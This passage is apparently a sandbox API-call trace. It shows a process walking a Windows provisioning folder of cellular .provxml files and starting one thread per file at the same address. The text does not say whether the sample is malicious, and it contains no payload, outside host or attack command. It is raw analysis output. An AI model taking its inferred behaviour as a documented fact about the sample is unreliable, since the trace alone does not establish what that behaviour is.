(_String1="241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.857] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x140) returned 0x3427d48 [0088.857] wcscpy (in: _Dest=0x3427d48, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.857] wcscat (in: _Dest=0x3427d48, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.857] wcscat (in: _Dest=0x3427d48, _Source="241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml" [0088.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3427d48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e4 [0088.858] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90922e60, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90922e60, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90922e60, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml", cAlternateFileName="242__C~1.PRO")) returned 1 [0088.858] wcscmp (_String1="242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.858] wcscmp (_String1="242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.858] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x158) returned 0x55da088 [0088.858] wcscpy (in: _Dest=0x55da088, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.858] wcscat (in: _Dest=0x55da088, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.858] wcscat (in: _Dest=0x55da088, _Source="242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml" [0088.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x55da088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x72c [0088.859] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90922e60, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90922e60, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90922e60, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml", cAlternateFileName="243__C~1.PRO")) returned 1 [0088.859] wcscmp (_String1="243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.859] wcscmp (_String1="243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.859] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x152) returned 0x55da1f0 [0088.859] wcscpy (in: _Dest=0x55da1f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.859] wcscat (in: _Dest=0x55da1f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.859] wcscat (in: _Dest=0x55da1f0, _Source="243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\243__Connections_Cellular_Bitė Lietuva (Lithuania)_i0$(__MVID)@WAP.provxml" [0088.859] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x55da1f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b0 [0088.860] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90922e60, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90922e60, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90922e60, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x302, dwReserved0=0x0, dwReserved1=0x0, cFileName="244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml", cAlternateFileName="244__C~1.PRO")) returned 1 [0088.860] wcscmp (_String1="244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.860] wcscmp (_String1="244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.860] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x148) returned 0x348cd30 [0088.860] wcscpy (in: _Dest=0x348cd30, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.860] wcscat (in: _Dest=0x348cd30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.860] wcscat (in: _Dest=0x348cd30, _Source="244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\244__Connections_Cellular_Omnitel (Lithuania)_i0$(__MVID)@WAP.provxml" [0088.860] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348cd30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x628 [0088.861] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909490d0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909490d0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909490d0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml", cAlternateFileName="245__C~1.PRO")) returned 1 [0088.861] wcscmp (_String1="245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.861] wcscmp (_String1="245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.861] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x144) returned 0x348c3c8 [0088.861] wcscpy (in: _Dest=0x348c3c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.861] wcscat (in: _Dest=0x348c3c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.861] wcscat (in: _Dest=0x348c3c8, _Source="245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\245__Connections_Cellular_Tele2 (Lithuania)_i0$(__MVID)@WAP.provxml" [0088.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348c3c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ec [0088.862] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909490d0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909490d0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909490d0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml", cAlternateFileName="246__C~1.PRO")) returned 1 [0088.862] wcscmp (_String1="246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.862] wcscmp (_String1="246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.862] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x144) returned 0x348ce88 [0088.862] wcscpy (in: _Dest=0x348ce88, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.862] wcscat (in: _Dest=0x348ce88, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.862] wcscat (in: _Dest=0x348ce88, _Source="246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\246__Connections_Cellular_Tele2 (Lithuania)_i1$(__MVID)@WAP.provxml" [0088.862] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348ce88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc [0088.863] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909490d0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909490d0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909490d0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x340, dwReserved0=0x0, dwReserved1=0x0, cFileName="247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml", cAlternateFileName="247__C~1.PRO")) returned 1 [0088.863] wcscmp (_String1="247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.863] wcscmp (_String1="247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.863] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x146) returned 0x348b3a8 [0088.863] wcscpy (in: _Dest=0x348b3a8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.863] wcscat (in: _Dest=0x348b3a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.863] wcscat (in: _Dest=0x348b3a8, _Source="247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\247__Connections_Cellular_Tango (Luxembourg)_i0$(__MVID)@WAP.provxml" [0088.863] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348b3a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x648 [0088.864] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909490d0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909490d0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909490d0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml", cAlternateFileName="248__C~1.PRO")) returned 1 [0088.864] wcscmp (_String1="248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.864] wcscmp (_String1="248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.864] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x148) returned 0x348cbd8 [0088.864] wcscpy (in: _Dest=0x348cbd8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.864] wcscat (in: _Dest=0x348cbd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.864] wcscat (in: _Dest=0x348cbd8, _Source="248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\248__Connections_Cellular_Orange (Luxembourg)_i0$(__MVID)@WAP.provxml" [0088.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348cbd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x528 [0088.865] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9096f33b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9096f33b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9096f33b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="249__C~1.PRO")) returned 1 [0088.865] wcscmp (_String1="249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.865] wcscmp (_String1="249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.865] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x140) returned 0x3427e90 [0088.865] wcscpy (in: _Dest=0x3427e90, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.865] wcscat (in: _Dest=0x3427e90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.865] wcscat (in: _Dest=0x3427e90, _Source="249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\249__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml" [0088.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3427e90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a4 [0088.866] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901892f8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901892f8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901892f8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="24__CE~1.PRO")) returned 1 [0088.866] wcscmp (_String1="24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0088.866] wcscmp (_String1="24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0088.866] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x144) returned 0x348c520 [0088.866] wcscpy (in: _Dest=0x348c520, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.866] wcscat (in: _Dest=0x348c520, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.866] wcscat (in: _Dest=0x348c520, _Source="24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\24__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0088.866] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348c520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x450 [0088.867] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9096f33b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9096f33b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9096f33b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x283, dwReserved0=0x0, dwReserved1=0x0, cFileName="250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="250__C~1.PRO")) returned 1 [0088.867] wcscmp (_String1="250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.867] wcscmp (_String1="250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.867] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x140) returned 0x3428120 [0088.867] wcscpy (in: _Dest=0x3428120, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.867] wcscat (in: _Dest=0x3428120, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.867] wcscat (in: _Dest=0x3428120, _Source="250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\250__Connections_Cellular_CTM (Macao SAR)_i0$(__MVID)@WAP.provxml" [0088.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3428120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x738 [0088.868] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9096f33b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9096f33b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9096f33b, 